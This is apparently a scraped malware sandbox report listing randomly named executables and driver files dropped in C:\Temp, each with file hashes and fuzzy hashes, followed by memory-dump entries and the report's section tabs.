SSDEEP 3072:AMaGii9ILTQJh/7yga3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA72:qGii9IL8Xa3lLNngoqRttA72
TLSH
T14934490272818031E71A0B74046AE7A146BE7D344FB5E58FF7A83B795A312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nigaysqkid.sys

Path C:\Temp\nigaysqkid.sys
Size 141KB
SHA256 d45c8b064e754f6e270bafa6bbe614ea09317559ccfc04778ce0449bcfd5ff33
MD5 94df24310f84cdb37a4ae7f7de00ef34
SHA1 9fc63d47b671d5e3a12b2da3596f1239dc0c3e5f
SHA512 e0583325607c1e71eb015ae9403786e2337c8a2902a9a5105bc8b729cba17729d152b6c78f7f79de42506e854ef9e40d4827200775839d2208cad7c0040b8c67
SSDEEP 1536:aa3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:aa3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T1A1E37C12B2D2D172D4A608B8106EC72196BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pmhxrpjhcz.exe

Path C:\Temp\pmhxrpjhcz.exe
Size 243KB
SHA256 7c953ab126bc976e8223c3a10358e3c527a3a9c67450c51b1a5b3ff1e5433f58
MD5 8041f66621e524c9f9b8be2f96ce4ffd
SHA1 96e040669d34277827cffbf9e15d209e13c584b2
SHA512 2ca1f91d872c7e95c65c07c6ea7b396a1a9830372a6f3089ceeaa218601794ca064440dd02f5d3ad182900f713831e436d63fa04db4905ca4bfa8d46153e89f1
SSDEEP 3072:yMaGii9ILTQJh/7yga3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA78:EGii9IL8Xa3lLNngoqRttA78
TLSH
T13D34490272818031E71A0B78046AE7A146BE7D344FB5E58FF7683B795A312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vpnhfaxsic.sys

Path C:\Temp\vpnhfaxsic.sys
Size 141KB
SHA256 2f949b4feca251b4ad93ee99d401a01c3fb8d737d8f1a30ef6f0f9d7d7b9b1b7
MD5 947e5960d30e7041f581cd10343d7dbf
SHA1 84f746e0e48babc1e675d633ee793e62e6622237
SHA512 422d618bc97b8653ae615f72ad43e57ba3cd2f6d23461fc0cbdc8ce1a9f73d38cb79aa7dedb7f0ce1d3459a54a83ae1869cc8d2100297311125931cced1a9fd0
SSDEEP 1536:Ma3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:Ma3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T152E38C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wrpjhbzurm.exe

Path C:\Temp\wrpjhbzurm.exe
Size 243KB
SHA256 35ba1598014c4e4a0a7018373dfb523c146a8f2e3f18c4a9bad77405b34c803c
MD5 eec234940e997860ab5d009df5ea0609
SHA1 993877c0138133d06a02924a61da5e1266f5d65a
SHA512 cb7897da0c3b4e79fa928648348e2e2cf4af7ec6dacf73f5989343e4f7abf3c0609383dc9b10062f97989aa87e440e27c5f8746527048f77a472adf4795b7134
SSDEEP 3072:3MaGii9ILTQJh/7yga3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7F:jGii9IL8Xa3lLNngoqRttA7F
TLSH
T18A34490272818031E71A0B74046AE7A046BE7D344FB5E58FF7A83B795A312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xvpnhfaxsq.exe

Path C:\Temp\xvpnhfaxsq.exe
Size 243KB
SHA256 8223f83f365b5d0c4a30c664c930172108b10bbbbb251fa1d39c9a4118d3a71a
MD5 fc26534e56a6c3c26e69e4e3e64fe042
SHA1 eb9228c8013d7547a67089fc3d4ecc9a4e969b56
SHA512 0c5f170e02086b6b6969a31cc6475ec9afa4ac9c031e6b140e86485f6b0e3d35f47d57546b9fedbb9d6fd9edb74fe7270ac879f1394fd31bee14c47773056fd2
SSDEEP 3072:uMaGii9ILTQJh/7yga3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA74:oGii9IL8Xa3lLNngoqRttA74
TLSH
T16234490272818031E75A0B78046AE7A046BE7D344FB5E58FF7683B795A312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ztomgbztrl.exe

Path C:\Temp\ztomgbztrl.exe
Size 243KB
SHA256 d5891b61a6b6977012cf8b0846e6285f838f4efdcb2bb98f4ef2b803a6d0d50e
MD5 6b3e47cac334054cc886b36c460dde71
SHA1 8a4e39b9978f8f45137a6dc88a2d80d85e5e2d59
SHA512 2cb66e10fb9ee94ca1bd2fde768d896840ab797c94cb9f3380e15f88873505437d0417ebd332167ff643274325773e788c11e1d180680f95f2c37a5f65dbce56
SSDEEP 3072:WMaGii9ILTQJh/7yga3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7A:gGii9IL8Xa3lLNngoqRttA7A
TLSH
T12F34490272818031E75A0B74046AE7A046BE7D344FB5E58FF7A83B795A312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zusmkecxup.sys

Path C:\Temp\zusmkecxup.sys
Size 141KB
SHA256 b0763a781fa6b6d5e46390847fe7bb8830ed557be3ca562097dfdc5971d77dab
MD5 fb1926738db7cdc90b8b2f6af167aba4
SHA1 b0e99846237a5639afce55efb3d0f7df7311f263
SHA512 3437f5289fec11703014e2f55c6b20f23fc01bb42fb52eeb4c03e69483b4e2e2ec30b937d1c8ae255d22c46579f81147295215b80f01af58bf3bf6d335611818
SSDEEP 1536:La3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:La3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T12EE38C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

suggestions[1].en-US

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\D6NN03DP\suggestions[1].en-US
Size 17KB
SHA256 c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
MD5 5a34cb996293fde2cb7a4ac89587393a
SHA1 3c96c993500690d1a77873cd62bc639b3a10653f
SHA512 e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee
SSDEEP 384:K4gN8sGygaEKfWYSJUKbO7UckxtBjCdY7mO3D0C5l+piEieDSV126ry1/XSGKwG3:K4gNFXiKfWfJ1Kockxbd7mAt5Mp5ie2F
TLSH
T13A823E4E61D88F57EA47B6B2D9084EA702E0C8794716DB93D62CFE63CDE33B25D02161
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/220-134-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1016-142-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1052-126-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1216-130-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1676-157-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1784-19-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2352-138-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2672-118-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2896-31-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3256-69-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3304-81-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3308-55-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3448-104-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3748-93-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3860-43-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3948-146-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4140-122-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4500-153-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4500-158-0x0000000000010000-0x0000000000083000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads